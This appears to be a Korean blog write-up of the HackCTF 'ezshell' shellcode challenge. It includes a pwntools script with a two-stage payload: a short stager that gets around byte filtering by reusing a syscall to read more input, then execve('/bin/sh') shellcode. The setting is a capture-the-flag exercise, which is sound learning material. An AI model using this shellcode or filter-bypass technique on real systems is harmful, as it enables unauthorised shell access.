shellcode 문제답게 nx bit가 걸려 있지 않고 코드내에서 syscall이나 0x3b 등의 바이트 필터링을 해서 바로 execve syscall을 수행할 수 없었다 또한 입력한 쉘코드가 실행되기 전에 rip를 제외한 모든 레지스터를 초기화시키기 때문에 rip를 제외하면 정보를 얻기가 매우 힘들다
from pwn import *
p = process("./ezshell")
#gdb.attach(p)
shell = b"\x48\x8d\x35\xc9\xff\xff\xff\x48\x89\xf1\xfe\xc9\xfe\xc9\xb2\xff\xff\xe1"
shell += b"A" * (30 - len(shell))
p.send(shell)
sleep(1)
ex_shell = b"\x48\x89\xf4\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x00\x51\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
p.send(ex_shell)
p.interactive()
rip -0x37로 syscall 다음 주소를 구하여 rsi에 저장하고 syscall로 점프하여 read syscall을 수행한다 이때 rsi에 저장된 주소 즉 syscall 다음 주소에 값을 넣을 것이기 때문에 여기다가는 그냥 shellcode를 넣어주었다
'pwn > HackCTF' 카테고리의 다른 글
ChildFSB (0) | 2022.03.20 |
---|---|
hackCTF / Unexploitable #3 (0) | 2022.03.15 |
babyfsb (0) | 2022.02.10 |
Keygen (0) | 2021.12.12 |
Unexploitable #1 (0) | 2021.10.19 |